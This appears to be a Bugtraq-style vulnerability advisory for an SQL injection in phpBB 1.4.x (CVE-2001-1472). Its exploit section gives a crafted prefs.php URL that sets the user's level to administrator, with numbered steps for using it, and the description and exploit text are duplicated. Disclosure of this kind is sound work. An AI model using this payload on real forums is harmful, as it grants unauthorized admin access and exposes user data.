PHPBB Remote SQL Query Manipulation Vulnerability
BID:3142
Info
PHPBB Remote SQL Query Manipulation Vulnerability
| Bugtraq ID: | 3142 |
| Class: | Input Validation Error |
| CVE: |
CVE-2001-1472 CVE-2001-1472 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 03 2001 12:00AM |
| Updated: | Mar 19 2015 09:42AM |
| Credit: | This vulnerability was submitted to BugTraq on August 3rd, 2001 by <[email protected]>. |
| Vulnerable: |
phpBB Group phpBB 1.4.1 phpBB Group phpBB 1.4 .0 |
| Not Vulnerable: | |
Discussion
PHPBB Remote SQL Query Manipulation Vulnerability
phpBB is free, open-source, easy-to-use web forums software.
An issue exists in phpBB which allows a remote attacker to manipulate SQL queries in such a way as to gain an administrative account with the service.
This problem is due to improper validation of user-supplied input by certain variables in phpBB. This issue can be exploited by making a cleverly crafted web request that contains arbitrary user-supplied replacement values.
One consequence of successful exploitation is that the attacker will be privy to user information.
phpBB is free, open-source, easy-to-use web forums software.
An issue exists in phpBB which allows a remote attacker to manipulate SQL queries in such a way as to gain an administrative account with the service.
This problem is due to improper validation of user-supplied input by certain variables in phpBB. This issue can be exploited by making a cleverly crafted web request that contains arbitrary user-supplied replacement values.
One consequence of successful exploitation is that the attacker will be privy to user information.
Exploit / POC
PHPBB Remote SQL Query Manipulation Vulnerability
This example was submitted by <[email protected]>:
http://sitename/phpBBfolder/prefs.php?save=1
&viewemail=1',user_level%3D'4'%20where%
20username%3D'l337h4x0r'%23
Summary:
1. Register an account on a phpBB board version
1.4.x .
2. Enter above URL with the correct sitename
and replace l337h4x0r with your username.
3. Click on "Administration Panel" near the bottom of
the page.
This example was submitted by <[email protected]>:
http://sitename/phpBBfolder/prefs.php?save=1
&viewemail=1',user_level%3D'4'%20where%
20username%3D'l337h4x0r'%23
Summary:
1. Register an account on a phpBB board version
1.4.x .
2. Enter above URL with the correct sitename
and replace l337h4x0r with your username.
3. Click on "Administration Panel" near the bottom of
the page.
Solution / Fix
PHPBB Remote SQL Query Manipulation Vulnerability